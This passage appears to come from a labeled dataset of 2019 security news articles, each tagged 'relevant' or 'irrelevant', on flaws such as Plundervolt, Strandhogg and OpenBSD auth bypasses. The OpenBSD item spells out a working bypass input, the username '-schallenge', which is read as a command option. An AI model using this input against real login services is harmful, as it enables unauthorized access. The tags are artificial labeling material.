attacker to impair the availability of a targeted website by corrupting its cached data. Security Restriction Bypass: The file upload function in Drupal 8 does not strip leading and trailing dot ('.') from filenames, which can be used by an attacker with file upload ability to overwrite arbitrary system files, such as .htaccess to bypass security protections. Unauthorized Access: This vulnerability exists in Drupal's default Media Library module when it doesn't correctly restrict access to media items in certain configurations. Thus, it could allow a low-privileged user to gain unauthorized access to sensitive information that is otherwise out of his reach. According to the developers, affected website administrators can mitigate the access media bypass vulnerability by unchecking the ""Enable advanced UI"" checkbox on /admin/config/media/media-library, though this mitigation is not available in 8.7.x. All the above ""moderately critical"" vulnerabilities have been patched with the release of Drupal versions 8.7.11 and 8.8.1, and at the time of writing, no proof-of-concept for these flaws have been made available. Since a proof-of-concept exists for the critical Drupal vulnerability, users running vulnerable versions of Drupal are highly recommended to update their CMS to the latest Drupal core release as soon as possible.",relevant
"Facebook Sued Hong Kong Firm for Hacking Users and Ad Fraud Scheme Following its efforts to take legal action against those misusing its social media platform, Facebook has now filed a new lawsuit against a Hong Kong-based advertising company and two Chinese individuals for allegedly abusing its ad platform to distribute malware and Ad fraud. Facebook filed the lawsuit on Thursday in the Northern District of California against ILikeAd Media International Company Ltd. as well as a Chinese software developer and a marketing director working for the firm, Chen Xiao Cong and Huang Tao. All three defendants have been alleged to have deceived people into installing malware on their systems, enabling them to compromise user's Facebook accounts and then using those hacked accounts to advertise counterfeit goods and diet pills—which is clearly in violation of Facebook's Terms and Advertising Policies. ""The suit seeks to hold accountable ILikeAd Media International Company Ltd. and Chen Xiao Cong and Huang Tao for creating the malware, tricking people into installing it, compromising people's Facebook accounts and then using people's accounts to run deceptive ads,"" Facebook said in a blog post today when announcing the lawsuit. According to the social media giant, the defendants made use of improper practices such as ""celeb bait"" and ""cloaking"" to bait Facebook users into downloading and installing malware that eventually compromised their Facebook accounts. While 'cloaking' involves deliberately disguising the true destination of a link in the ad by displaying one version of the ad's landing page to Facebook and another version to Facebook users, 'celeb bait' involves misusing celebrities photos in ads to entice users to click on them. ""Cloaking schemes are often sophisticated and well organized, making the individuals and organizations behind them difficult to identify and hold accountable. As a result, there have not been many legal actions of this kind,"" Facebook said. Since April, Facebook has notified hundreds of thousands of users that their accounts may have been compromised and instructing them to change their passwords, according to the complaint. Facebook also said the social media company had issued more than $4 million in refunds to victims whose Facebook accounts were used to run unauthorized ads and also helped to secure their accounts compromised in this malicious advertisement scheme. This is the latest lawsuit that Facebook filed in a federal court against entities and individuals abusing its properties for malicious intent. Just over a month ago, Facebook sued surveillance vendor NSO Group for allegedly hacking 1,400 mobile devices by misusing the company's secure messaging platform, WhatsApp. In August this year, Facebook also filed a lawsuit against two shady Android app developers, Hong Kong-based 'LionMobi' and Singapore-based 'JediMobi,' for allegedly running a ""click injection fraud"" scheme that programmed bots to click on Facebook ads. In March this year, Facebook also took two Ukrainian men into the courts for allegedly using quiz apps on the platform to distribute malware that steals Facebook users' data.",irrelevant
"New Facebook Tool Let Users Transfer Their Photos and Videos to Google Facebook has finally started implementing the open source data portability framework as the first phase of 'Data Transfer Project,' an initiative the company launched last year in collaboration with Google, Apple, Microsoft, and Twitter. Facebook today announced a new feature that will allow its users to transfer their Facebook photos and videos to their Google Photos accounts—directly and securely without needing to download and reupload it. The feature is only available to Facebook users in Ireland for now, as a test, and expected to be available to the rest of the world in early 2020. This new Facebook feature is built using the Data Transfer Project (DTP), a universal data import/export protocol that aims to give users more control over their data and let them quickly move it between online services or apps whenever they want. ""If a user wants to switch to another product or service because they think it is better, they should be able to do so as easily as possible,"" the project website says. ""Practical tools that let users backup or archive important information, organize information within multiple accounts, recover from account hijacking, and retrieve data from deprecated services all work to improve user security."" data transfer project google DTP framework is comprised of three following components that have been designed to let any service easily convert their proprietary data and authentication formats into a common format that must be usable by others. Data Models Adapters (Data and Authentication) Task Management Libraries It uses existing industry-standard infrastructure and authorization mechanisms, such as OAuth and REST, in a way that even hosting entities do not have access to a user's data either in transit or at rest. ""Rather than expecting every company to build its own system from scratch, this open source framework allows them to share any improvements in the framework as well as adapters and data models,"" Facebook said. So far, the DTP project has developed adapters for 13 different service providers, listed below, supporting five different types of consumer data, including photos, mail, tasks, contacts, and calendar. Facebook Google Twitter Instagram Microsoft Imgur Spotify Flickr Remember the Milk SmugMug Solid web decentralization project Deezer music streaming service Mastodon self-hosted social networking service For now, Facebook is only testing the transfer of photos and videos to Google photos, but the company is also expecting to add support for more services and data types in the future. dtp data transfer project ""As we continue to add more services and data types, we needed to look at several factors. It's important that the system request only the permissions required for the task at hand. Access to the destination service should end once the transfer is complete."" ""Finally, transfers should only be created by the owner of the account. In order to verify this, we ask people to re-enter their password before initiating a transfer. We also send an email to the registered account once a transfer has begun, which allows people a chance to stop the transfer if they change their mind or do not recognize the request."" Besides all good things, as suspected before, the project could have some serious implications for smaller service providers participating in the project, making it easier for their customers to leave and join services from popular brands with lucrative offers or free services.",irrelevant
"Critical Flaw in GoAhead Web Server Could Affect Wide Range of IoT Devices Cybersecurity researchers today uncovered details of two new vulnerabilities in the GoAhead web server software, a tiny application widely embedded in hundreds of millions of Internet-connected smart devices. One of the two vulnerabilities, assigned as CVE-2019-5096, is a critical code execution flaw that can be exploited by attackers to execute malicious code on vulnerable devices and take control over them. The first vulnerability resides in the way multi-part/form-data requests are processed within the base GoAhead web server application, affecting GoAhead Web Server versions v5.0.1, v.4.1.1, and v3.6.5. According to the researchers at Cisco Talos, while processing a specially crafted HTTP request, an attacker exploiting the vulnerability can cause use-after-free condition on the server and corrupt heap structures, leading to code execution attacks. The second vulnerability, assigned as CVE-2019-5097, also resides in the same component of the GoAhead Web Server and can be exploited in the same way, but this one leads to denial-of-service attacks. ""A specially crafted HTTP request can lead to an infinite loop in the process (resulting in 100 percent CPU utilization). The request can be unauthenticated in the form of GET or POST requests and does not require the requested resource to exist on the server,"" the researchers say. However, it's not necessary that both vulnerabilities could be exploited in all embedded devices running the vulnerable versions of the GoAhead web server. That's because, according to the researchers, since GoAhead is a customizable web application framework, companies implement the application according to their environment and requirements, due to which the flaws ""may not be reachable on all builds."" ""Additionally, pages that require authentication do not allow access to the vulnerability without authentication as the authentication is handled before reaching the upload handler,"" the researchers explain. Talos researchers reported the two vulnerabilities to EmbedThis, the developer of the GoAhead Web Server application, in late August this year, and the vendor addressed the issues and released security patches two weeks ago.",relevant
"Google Offers Financial Support to Open Source Projects for Cybersecurity Besides rewarding ethical hackers from its pocket for responsibly reporting vulnerabilities in third-party open-source projects, Google today announced financial support for open source developers to help them arrange additional resources, prioritizing the security of their products. The initiative, called ""Patch Rewards Program,"" was launched nearly 6 years ago, under which Google rewards hackers for reporting severe flaws in many widely used open source software, including OpenSSH, OpenSSL, Linux kernel, Apache, Nginx, jQuery, and OpenVPN. So far, Google has paid hundreds of thousands of dollars as bounty to hackers across the world who helped improve the overall security of many crucial open source software and technologies that power the Internet, operating systems, and networks. The company has now also decided to motivate volunteer work done by the open source community by providing upfront financial help to project teams, using which they can acquire additional development capacity. The support is available for both small teams ($5,000) as well as for a large team ($30,000) of developers. In a blog post published today, Google itself described that small teams could get the amount as a reward for fixing a small number of security issues. Whereas, large open source teams need to use the funds to heavily invest in security, like providing support to find additional developers, or implementing significant new security features. If you run any open source project or want to support any other open-source project, you can nominate it for support from Google by filling out https://goo.gle/patchz-nomination. ""Any open source project can be nominated for support. When selecting projects, the panel will put an emphasis on projects that either are vital to the health of the Internet or are end-user projects with a large user base,"" Google says. ""Our Patch Reward Panel will review submissions on a monthly basis and select a number of projects that meet the program criteria."" You can find more details on the Patch Rewards Program here, including the list of projects, types of acceptable vulnerabilities, and rewards for qualifying submissions, which ranges from $500 to $20,000.",irrelevant
"Hackers Behind GozNym Malware Sentenced for Stealing $100 Million Three members of an international organized cybercrime group that was behind a multi-million dollar theft primarily against U.S. businesses and financial institutions have been sentenced to prison, the U.S. Justice Department announced. The criminals used the GozNym banking Trojan to break into more than 4,000 victim computers globally, primarily in the United States and Europe, between 2015 and 2016, and fraudulently steal nearly $100 million from their banking accounts. In May this year, Europol dismantled the cybercrime network behind GozNym, with the United States issuing charges against a total of ten members of the group, 5 of which were arrested at that time, while five others, including the developer of GozNym, remain at the run. In a federal court in Pittsburgh on Friday, Krasimir Nikolov, one of the group's members, was sentenced to a period of time served after having served over 39 months in prison for his role as an ""account takeover specialist"" in the scheme, and will now be transferred to Bulgaria. Nikolov, 47, was arrested in September 2016 by Bulgarian authorities and extradited to Pittsburgh in December 2016 to face federal charges of criminal conspiracy, computer fraud, and bank fraud. ""Nikolov used the victims' stolen online banking credentials captured by GozNym malware to access victims' online bank accounts and attempt to steal victims' money through electronic transfers into bank accounts controlled by fellow conspirators,"" the DoJ said in a press release. Two other GozNym group members sentenced on Friday—Alexander Konovolov and Marat Kazandjian—also participated in the scheme and sentenced to seven and five years of imprisonment, respectively. Both were arrested and prosecuted in Georgia. While Konovolov served as a primary organizer and leader of the GozNym network that controlled over 41,000 infected computers and recruited cybercriminals using underground online criminal forums, Kazandjian was his primary assistant and technical administrator. GozNym is a notorious banking Trojan that was developed by combining two known powerful Trojans, Gozi ISFB malware—a banking Trojan that first appeared in 2012, and Nymaim—a Trojan downloader that can also function as ransomware. The malware, primarily delivered via massive malspam campaigns to hack on victims' Windows PCs, waits for victims to enter their banking passwords into their web browser, captures them, and then used them to break into victims' bank accounts and fraudulently transfer funds to their own accounts. GozNym malware network was hosted and operated through ""Avalanche"" bulletproof service, whose administrator was arrested in Ukraine during a search in November 2016. ""This new paradigm involves unprecedented levels of cooperation with willing and trusted law enforcement partners around the world who share our goals of searching, arresting, and prosecuting cyber criminals no matter where they might be,"" said U.S. Attorney Scott W. Brady. The victims of this cybercrime network were primarily U.S. businesses and their financial institutions, including a number of victims located in the Western District of Pennsylvania, though the DoJ did not name any.",irrelevant
"Hacker Who Tried to Blackmail Apple for $100,000 Sentenced in London A 22-year-old man who claimed to have access to over 300 million iCloud accounts and threatened to factory reset all accounts unless Apple pays ransom has pleaded guilty in London for trying to blackmail Apple. In March 2017, Kerem Albayrak from North London claimed to be a spokesman for a hacking group called the ""Turkish Crime Family"" and in possession of 319 million iCloud accounts. Albayrak gave Apple a deadline until April 7, 2017, to pay up $75,000 in crypto-currency or $100,000 worth of iTunes gift cards in return for deleting the copy of stolen database, the U.K. National Crime Agency said in a statement, calling the blackmailer a ""fame-hungry cyber-criminal."" However, if the company failed to meet his demands, Albayrak threatened that he would start remotely wiping the victim's Apple devices, factory reset iCloud accounts, and dump the stolen database online. In late March 2017, the NCA's National Cyber Crime Unit arrested Albayrak at his home and seized digital devices, including his phone, computers and hard drives, after Apple contacted law enforcement in the U.K. and the U.S. The NCA investigation into the matter confirmed that there were no signs of a compromise of Apple's iCloud network and that the data Albayrak claimed to have in possession was actually from ""previously compromised third-party services which were mostly inactive."" Earlier this month, the blackmailer pleaded guilty to one count of blackmail and two counts of ""unauthorized acts with intent to impair the operation of or prevent/hinder access to a computer."" On 20 December, Albayrak was sentenced at Southwark Crown Court and given a two year suspended jail term, full 300 hours of unpaid work in the neighbourhood, and a six-month electronic curfew. ""Albayrak wrongly believed he could escape justice after hacking into two accounts and attempting to blackmail a large multi-national corporation,"" said Anna Smith, a Senior Investigative Officer for the NCA. ""During the investigation, it became clear that he was seeking fame and fortune. But cyber-crime doesn't pay. The NCA is committed to bringing cyber-criminals to justice. It is imperative that victims report such compromises as soon as possible and retain all evidence."" When asked about his act, Albayrak told NCA investigators that ""once you get sucked into it [cyber crime], it just escalates and it makes it interesting when it's illegal,"" adding ""when you have power on the internet it's like fame and everyone respects you, and everyone is chasing that right now.""",irrelevant
"New PlunderVolt Attack Targets Intel SGX Enclaves by Tweaking CPU Voltage A team of cybersecurity researchers demonstrated a novel yet another technique to hijack Intel SGX, a hardware-isolated trusted space on modern Intel CPUs that encrypts extremely sensitive data to shield it from attackers even when a system gets compromised. Dubbed Plundervolt and tracked as CVE-2019-11157, the attack relies on the fact that modern processors allow frequency and voltage to be adjusted when needed, which, according to researchers, can be modified in a controlled way to induce errors in the memory by flipping bits. Bit flip is a phenomenon widely known for the Rowhammer attack wherein attackers hijack vulnerable memory cells by changing their value from 1 to a 0, or vice versa—all by tweaking the electrical charge of neighboring memory cells. However, since the Software Guard Extensions (SGX) enclave memory is encrypted, the Plundervolt attack leverages the same idea of flipping bits by injecting faults in the CPU before they are written to the memory. Plundervolt resembles more with speculative execution attacks like Foreshadow and Spectre, but while Foreshadow and Spectre attack the confidentiality of SGX enclave memory by allowing attackers to read data from the secured enclave, Plundervolt attacks the integrity of SGX to achieve the same. To achieve this, Plundervolt depends upon a second known technique called CLKSCREW, a previously documented attack vector that exploits energy management of CPU to breach hardware security mechanisms and take control over a targeted system. ""We show that a privileged adversary is able to inject faults into protected enclave computations. Crucially, since the faults happen within the processor package, i.e., before the results are committed to memory, Intel SGX's memory integrity protection fails to defend against our attacks,"" the researchers said. As demonstrated by the researchers in the videos, by subtly increasing or decreasing the voltage delivered to a targeted CPU, an attacker can trigger computational faults in the encryption algorithms used by SGX enclaves, allowing attackers to easily decrypt SGX data. ""We demonstrate the effectiveness of our attacks by injecting faults into Intel's RSA-CRT and AES-NI implementations running in an SGX enclave, and we reconstruct full cryptographic keys with negligible computational efforts,"" the researchers said. ""Given a pair of correct and faulty ciphertext on the same plaintext, this attack is able to recover the full 128-bit AES key with a computational complexity of only 232+256 encryptions on average. We have run this attack in practice, and it only took a couple of minutes to extract the full AES key from the enclave, including both fault injection and key computation phases."" Plundervolt attack, which affects all SGX-enabled Intel Core processors starting with the Skylake generation, was discovered and privately reported to Intel in June 2019 by a team of six European researchers from the University of Birmingham, Graz University of Technology, and KU Leuven. In response to the researchers' findings, Intel yesterday released microcode and BIOS updates to address Plundervolt by locking voltage to the default settings, along with 13 other high and medium severity vulnerabilities. ""Intel has worked with system vendors to develop a microcode update that mitigates the issue by locking voltage to the default settings,"" Intel's blog post published today reads. ""We are not aware of any of these issues being used in the wild, but as always, we recommend installing security updates as soon as possible."" Here's the list of CPU models affected by the Plundervolt attack: Intel 6th, 7th, 8th, 9th & 10th Generation Core Processors Intel Xeon Processor E3 v5 & v6 Intel Xeon Processor E-2100 & E-2200 Families For the full list of affected products, you can head on to Intel's security advisory INTEL-SA-00289. Besides releasing a proof-of-concept (PoC) on GitHub, the team has also released a dedicated website with FAQs and detailed technical paper [PDF] titled, Plundervolt: Software-based Fault Injection Attacks against Intel SGX, that you can check to know in-depth details on the attack.",relevant
"LifeLabs Paid Hackers to Recover Stolen Medical Data of 15 Million Canadians LifeLabs, the largest provider of healthcare laboratory testing services in Canada, has suffered a massive data breach that exposed the personal and medical information of nearly 15 million Canadians customers. The company announced the breach in a press release posted on its website, revealing that an unknown attacker unauthorizedly accessed its computer systems last month and stole customers' information, including their: Names Addresses Email addresses Login information Passwords, for their LifeLabs account Dates of birth Health card numbers Lab test results The Toronto-based company discovered the data breach at the end of October, but the press release does not say anything about the identity of the attacker(s) and how they managed to infiltrate its systems. However, LifeLabs admitted it paid an undisclosed amount of ransom to the hackers to retrieve the stolen data, which indicates that the attack might have been carried out using a ransomware style malware with data exfiltration abilities. ""Retrieving the data by making a payment. We did this in collaboration with experts familiar with cyber-attacks and negotiations with cybercriminals,"" the company said while announcing several measures it took to protect its customers' information. LifeLabs also said the majority of affected customers, who used its labs for diagnostic, naturopathic, and genetic tests, reside in British Columbia and Ontario, with relatively few customers in other locations. ""In the case of lab test results, our investigations to date of these systems indicate that there are 85,000 impacted customers from 2016 or earlier located in Ontario; we will be working to notify these customers directly,"" the press release read. ""Our investigation to date indicates any instance of health care information was from 2016 or earlier."" LifeLabs said it immediately involved ""world-class cybersecurity experts"" to isolate and secure the affected computer systems and determine the scope of the cyber attack. The company also stated that it had already notified law enforcement, privacy commissioners, and government partners to investigate the breach incident. While LifeLabs has taken several steps to fix the system issues related to the cyber attack and strengthen its cyber defenses by placing additional safeguards to protect your information, it is also offering one free year of identity theft insurance. ""Any customer who is concerned about this incident can receive one free year of protection that includes dark web monitoring and identity theft insurance,"" LifeLabs said. Since the exposed data includes users' account login information, affected users are strongly advised to change their passwords on the company's website as well as on any other where they have reused the same password.",irrelevant
"New Linux Bug Lets Attackers Hijack Encrypted VPN Connections A team of cybersecurity researchers has disclosed a new severe vulnerability affecting most Linux and Unix-like operating systems, including FreeBSD, OpenBSD, macOS, iOS, and Android, that could allow remote 'network adjacent attackers' to spy on and tamper with encrypted VPN connections. The vulnerability, tracked as CVE-2019-14899, resides in the networking stack of various operating systems and can be exploited against both IPv4 and IPv6 TCP streams. Since the vulnerability does not rely on the VPN technology used, the attack works against widely implemented virtual private network protocols like OpenVPN, WireGuard, IKEv2/IPSec, and more, the researchers confirmed. This vulnerability can be exploited by a network attacker — controlling an access point or connected to the victim's network — just by sending unsolicited network packets to a targeted device and observing replies, even if they are encrypted. As explained by the researchers, though there are variations for each of the impacted operating systems, the vulnerability allows attackers to: determine the virtual IP address of a victim assigned by the VPN server, determine if there is an active connection to a given website, determine the exact seq and ack numbers by counting encrypted packets and/or examining their size, and inject data into the TCP stream and hijack connections. ""The access point can then determine the virtual IP of the victim by sending SYN-ACK packets to the victim device across the entire virtual IP space,"" the team said in its advisory. ""When a SYN-ACK is sent to the correct virtual IP on the victim device, the device responds with a RST; when the SYN-ACK is sent to the incorrect virtual IP, nothing is received by the attacker."" While explaining variations in the behavior of different operating systems, as an example, researchers said the attack does not work against macOS/iOS devices as described. Instead, an attacker needs to ""use an open port on the Apple machine to determine the virtual IP address."" In their testing, the researchers use ""port 5223, which is used for iCloud, iMessage, FaceTime, Game Center, Photo Stream, and push notifications, etc."" The researchers tested and successfully exploited the vulnerability against the following operating systems and the init systems, but they believe this list could go long as researchers test the flaw on more systems. Ubuntu 19.10 (systemd) Fedora (systemd) Debian 10.2 (systemd) Arch 2019.05 (systemd) Manjaro 18.1.1 (systemd) Devuan (sysV init) MX Linux 19 (Mepis+antiX) Void Linux (runit) Slackware 14.2 (rc.d) Deepin (rc.d) FreeBSD (rc.d) OpenBSD (rc.d) ""Most of the Linux distributions we tested were vulnerable, especially Linux distributions that use a version of systemd pulled after November 28th of last year, which turned reverse path filtering off,"" the researchers said. ""However, we recently discovered that the attack also works against IPv6, so turning reverse path filtering on isn't a reasonable solution."" As possible mitigation, researchers suggested to turn on reverse path filtering, implement bogon filtering, and encrypt packet size and timing to prevent attackers from making any inference. While the researchers have not yet revealed technical details of the vulnerability, they are planning to publish an in-depth analysis of this flaw and its related implications, after affected vendors, including Systemd, Google, Apple, OpenVPN, WireGuard, and different Linux distros issue satisfactory workarounds and patches.",relevant
"Russian Police Raided NGINX Moscow Office, Detained Co-Founders Russian law enforcement officers have raided the Moscow offices of Nginx—the company behind the world's second most popular web server software—over a copyright infringement complaint filed by Rambler, a Russian Internet portal and email service provider. According to multiple reports from local media and social media, the police conducted searches and has also detained several employees of the company, including Igor Sysoev, the original developer of Nginx and Maxim Konovalov, another co-founder of the company. Over 30% of the websites on the Internet today, including many of the world's most popular sites like Netflix and Twitch, run on the Nginx server. Igor Sysoev created the Nginx web server in the early 2000s and open-sourced it in 2004, after which he founded the company Nginx in 2015 that has now been acquired by F5 Networks, an American technology company, for $ 670 million. According to a copy of the complaint shared on Twitter, Rambler accused that Sysoev created the software while he was working as a system administrator for the company. Thus, Rambler claims to own the copyright of the application. Rambler also claimed that Sysoev worked on the project during his working hours, and then later, he illegally distributed the program, causing Rambler to estimate the damage of 51.4 million rubles. ""Nginx is an official work, the development of which since the beginning of the 2000s in the framework of labor relations with Rambler, was carried out by Igor Sysoev,"" Rambler told a Russian media site. ""Therefore, any use of this program without the consent of the Rambler Group is a violation of the exclusive right."" However, during an interview with another Russian site in 2012, Sysoev confirmed that he indeed worked at Rumbler during the years when he started working on the project, but he created the Nginx program in his free time. ""It should be noted that programming was not part of my job responsibilities, but since there were time and traction, the first thing I did was adapt the patch to compress Apache responses,"" Sysoev said in that interview. ""Then, I was asked to deal with the mod_proxy module. I looked at it and decided it was easier to write everything from scratch than to adapt to some things there."" This case has now been filed under part 3 of Article 146 of the Criminal Code of the Russian Federation (violation of copyright and related rights). Meanwhile, Nginx has not yet responded to The Hacker News emails or released any public statements on the situation. This is a developing story. We will update this story when more information becomes available.",irrelevant
"Severe Auth Bypass and Priv-Esc Vulnerabilities Disclosed in OpenBSD OpenBSD, an open-source operating system built with security in mind, has been found vulnerable to four new high-severity security vulnerabilities, one of which is an old-school type authentication bypass vulnerability in BSD Auth framework. The other three vulnerabilities are privilege escalation issues that could allow local users or malicious software to gain privileges of an auth group, root, as well as of other users, respectively. The vulnerabilities were discovered and reported by Qualys Research Labs earlier this week, in response to which OpenBSD developers released security patches for OpenBSD 6.5 and OpenBSD 6.6 just yesterday—that's in less than 40 hours. Here's a brief explanation of all four security vulnerabilities in OpenBSD—a free and open-source BSD-based Unix-like operating system—along with their assigned CVE identifiers OpenBSD Authentication Bypass (CVE-2019-19521) The authentication bypass vulnerability resides in the way OpenBSD's authentication framework parses the username supplied by a user while logging in through smtpd, ldapd, radiusd, su, or sshd services. Using this flaw, a remote attacker can successfully access vulnerable services with any password just by entering the username as ""-schallenge"" or ""-schallenge: passwd,"" and it works because a hyphen (-) before username tricks OpenBSD into interpreting the value as a command-line option and not as a username. openbsd vulnerabilities Here, OpenBSD's authentication framework interprets ""-schallenge"" as ""-s challenge,"" which forces the system into silently ignoring the challenge protocol that eventually bypasses the authentication automatically. ""If an attacker specifies a username of the form '-option', they can influence the behavior of the authentication program in unexpected ways,"" the advisory said. According to the researchers, this vulnerability is practically exploitable in smtpd, ldapd, and radiusd, but not in sshd or su due to their defense-in-depth mechanisms that hang the connection even after successful authentication bypass. However, one can still remotely exploit the flaw against sshd to determine whether an OpenBSD system is vulnerable to CVE-2019-19521 or not. OpenBSD Local Privilege Escalation Flaws OpenBSD vulnerabilities As described above, the other OpenBSD vulnerabilities are local privilege escalation issues as briefly explained below: CVE-2019-19520: Due to the mishandling of environment-provided paths used in dlopen(), xlock, which comes installed by default on OpenBSD, could allow local attackers to escalate privileges to 'auth' group. CVE-2019-19522: Due to incorrect operation of authorization mechanisms via ""S/Key"" and ""YubiKey,"" which is a non-default configuration, a local attacker with 'auth' group permission can gain full privileges of the root user. CVE-2019-19519: Due to a logical error in one of the su's primary functions, a local attacker can achieve any user's login class, often excluding root, by exploiting su's -L option. Qualys researchers have also released proof-of-concept exploits for each vulnerability in its advisory. Since patches for all four security vulnerabilities are now available, affected OpenBSD users recommended to install patches using syspatch mechanism.",relevant
"Snatch Ransomware Reboots Windows in Safe Mode to Bypass Antivirus Cybersecurity researchers have spotted a new variant of the Snatch ransomware that first reboots infected Windows computers into Safe Mode and only then encrypts victims' files to avoid antivirus detection. Unlike traditional malware, the new Snatch ransomware chooses to run in Safe Mode because in the diagnostic mode Windows operating system starts with a minimal set of drivers and services without loading most of the third-party startup programs, including antivirus software. Snatch has been active since at least the summer of 2018, but SophosLabs researchers spotted the Safe Mode enhancement to this ransomware strain only in recent cyber attacks against various entities they investigated. ""SophosLabs researchers have been investigating an ongoing series of ransomware attacks in which the ransomware executable forces the Windows machine to reboot into Safe Mode before beginning the encryption process,"" the researchers say. ""The ransomware, which calls itself Snatch, sets itself up as a service [called SuperBackupMan with the help of Windows registry] that will run during a Safe Mode boot."" ""When the computer comes back up after the reboot, this time in Safe Mode, the malware uses the Windows component net.exe to halt the SuperBackupMan service, and then uses the Windows component vssadmin.exe to delete all the Volume Shadow Copies on the system, which prevents forensic recovery of the files encrypted by the ransomware."" What makes Snatch different and dangerous from others is that in addition to ransomware, it's also a data stealer. Snatch includes a sophisticated data-stealing module, allowing attackers to steal vast amounts of information from the target organizations. Though Snatch is written in Go, a programming language known for cross-platform app development, the authors have designed this ransomware to run only on the Windows platform. ""Snatch can run on most common versions of Windows, from 7 through 10, in 32- and 64-bit versions. The samples we've seen are also packed with the open source packer UPX to obfuscate their contents,"" the researchers say. Besides this, the attackers behind Snatch ransomware also offer partnership opportunities to other cybercriminals and rogue employees who possess credentials and backdoors into large organizations and can exploit it to deploy the ransomware. As shown in the screenshot taken from an underground forum, one of the group members posted an offer ""looking for affiliate partners with access to RDP \ VNC \ TeamViewer \ WebShell \ SQL injection in corporate networks, stores, and other companies."" Snatch Ransomware Attack Using brute-forced or stolen credentials, attackers first gain access to the company's internal network and then run several legitimate system administrators and penetration testing tools to compromise devices within the same network without raising any red flag. ""We also found a range of otherwise legitimate tools that have been adopted by criminals installed on machines within the target's network, including Process Hacker, IObit Uninstaller, PowerTool, and PsExec. The attackers typically use them to try to disable AV products,"" the researchers say. Coveware, a company that specializes in extortion negotiations between attackers and ransomware victims, told Sophos that they negotiated with the Snatch criminals ""on 12 occasions between July and October 2019 on behalf of their clients"" with the ransom payments ranging between $2,000 to $35,000 in bitcoins. To prevent ransomware attacks, organizations are recommended not to expose their critical services and secure ports to the public Internet, and if required, secure them using a strong password with multi-factor authentication.",relevant
"Unpatched Strandhogg Android Vulnerability Actively Exploited in the Wild Cybersecurity researchers have discovered a new unpatched vulnerability in the Android operating system that dozens of malicious mobile apps are already exploiting in the wild to steal users' banking and other login credentials and spy on their activities. Dubbed Strandhogg, the vulnerability resides in the multitasking feature of Android that can be exploited by a malicious app installed on a device to masquerade as any other app on it, including any privileged system app. In other words, when a user taps the icon of a legitimate app, the malware exploiting the Strandhogg vulnerability can intercept and hijack this task to display a fake interface to the user instead of launching the legitimate application. By tricking users into thinking they are using a legitimate app, the vulnerability makes it possible for malicious apps to conveniently steal users' credentials using fake login screens, as shown in the video demonstration. ""The vulnerability allows an attacker to masquerade as nearly any app in a highly believable manner,"" the researchers said. ""In this example, the attacker successfully misleads the system and launches the spoofing UI by abusing some task state transition conditions, i.e., taskAffinity and allowTaskReparenting."" ""When the victim inputs their login credentials within this interface, sensitive details are immediately sent to the attacker, who can then login to, and control, security-sensitive apps."" Besides phishing login credentials, a malicious app can also escalate its capabilities significantly by tricking users into granting sensitive device permissions while posing as a legitimate app. ""An attacker can ask for access to any permission, including SMS, photos, microphone, and GPS, allowing them to read messages, view photos, eavesdrop, and track the victim's movements."" Discovered by researchers at Norwegian security firm Promon, Strandhogg task hijacking attacks are potentially dangerous because: it is almost impossible for targeted users to spot the attack, it can be used to hijack the task of any app installed on a device, it can be used to request any device permission fraudulently, it can be exploited without root access, it works on all versions of Android, and it doesn't need any special permissions on the device. Promon spotted the vulnerability after analyzing a malicious banking Trojan app that hijacked bank accounts of several customers in the Czech Republic and stole their money. android task hijacking vulnerability According to the researchers, some of the identified malicious apps were also being distributed through several droppers and hostile downloader apps available on the Google Play Store. Mobile security firm Lookout then also analysed the malicious sample and confirmed that they had identified at least 36 malicious apps in the wild that are exploiting the Strandhogg vulnerability. ""These apps have now been removed, but in spite of Google's Play Protect security suite, dropper apps continue to be published and frequently slip under the radar, with some being downloaded millions of times before being spotted and deleted,"" researchers say. Promon reported the Strandhogg vulnerability to the Google security team this summer and disclosed details today when the tech giant failed to patch the issue even after a 90-day disclosure timeline. Though there is no effective and reliable way to block or detect task hijacking attacks, users can still spot such attacks by keeping an eye on discrepancies, like: an app you're already logged into is asking for a login, permission popups that do not contain an app name, permissions asked from an app that shouldn't require or need the permissions it asks for, buttons and links in the user interface do nothing when clicked on, The back button does not work as expected.",relevant
"Top 5 Essential Features of Effective Cybersecurity for Web Apps There's hardly any business nowadays that don't use computers and connect to the Internet. Companies maintain an online presence through their official websites, blogs, and social media pages. People use online services to conduct day to day activities like banking. And of course, there are many businesses that are completely based on the web like online markets, e-Commerce websites and financial services. All of these activities create opportunities for cyber attacks. Various threats can affect websites, online services, API endpoints, and the applications used or provided by businesses. Such devastating attacks include privacy intrusion, DDoS attacks, data breaches, defacements of websites, online store shutdowns, scraping, payment fraud, abuse of online services, and backdoor installations. The 2019 Cost of Cybercrime Study by Accenture reports that there has been a 67% increase in cyber attacks over the last five years. The corresponding increase in financial terms is pegged at 72% or a $13 million average cost of cybercrime (in 2018). It only makes perfect sense to beef up cybersecurity. Robust protection is critical for businesses of all sizes. Even small businesses can become victims. Cybercrimes are typically indiscriminate, and since there are more small businesses than larger ones, statistics would show that the bulk of cyber-attacks tend to affect small businesses. According to the Verizon 2019 Data Breach Investigations Report, 43% of cyber attacks were aimed at small businesses. Considering all the severity and prevalence of potential attacks, it's not right to randomly select a cybersecurity solution to have. It's advisable to look for the following attributes or features: 1.) Multi-feature Solution If you are going to spend on a cybersecurity solution, make sure it's one that is capable of addressing virtually all of the possible attacks. To be clear, there is no real all-in-one cybersecurity solution available anywhere. You may find software marketed as such, but they are unlikely to live up to the label. After all, it's difficult to set the perimeters as to what is ""all"" when it comes to cyber-attacks. Cybercriminals find new ways to achieve their felonious goals in cyberspace as their attacks are thwarted. These new attacks may not be covered by the products advertised as all-in-one solutions. web application firewall, CDN, DDoS Protection Image Credits: Reblaze The goal should be to find a solution that provides the features that cover as many threats as possible. Don't settle for something that only detects and prevents malware infection, even as it does this in real-time. It's impractical to use multiple cybersecurity solutions to address different threats to your infrastructure. Aside from taking up more space and computing resources, the use of several software can be costly. 2.) Monitoring Robust cybersecurity is achieved when you are aware of what's going on with your computer, network, and online assets. That's why it greatly helps if you use a tool that readily presents a variety of useful information. These include your web traffic data, the CPU and RAM used by different applications, new programs installed, and the new files created in your device. Choose a security solution that comes with robust monitoring functions that operate seamlessly with the rest of your infrastructure. If you can quickly see your web traffic stats (incoming and outgoing), for example, you can see if something anomalous is happening in your system. A consistent stream of outgoing traffic even when you are not uploading anything can mean that someone is stealing your files discreetly. If you find new files in your computer or software that you can't remember downloading or installing, it could mean that malware has infected your device. 3.) Bot Management At present, the majority of cyber-attacks are no longer conducted by individual hackers. The number of human hackers has increased over the years, but not at the same exponential rate the number of cyber attacks has grown. Most attempts to 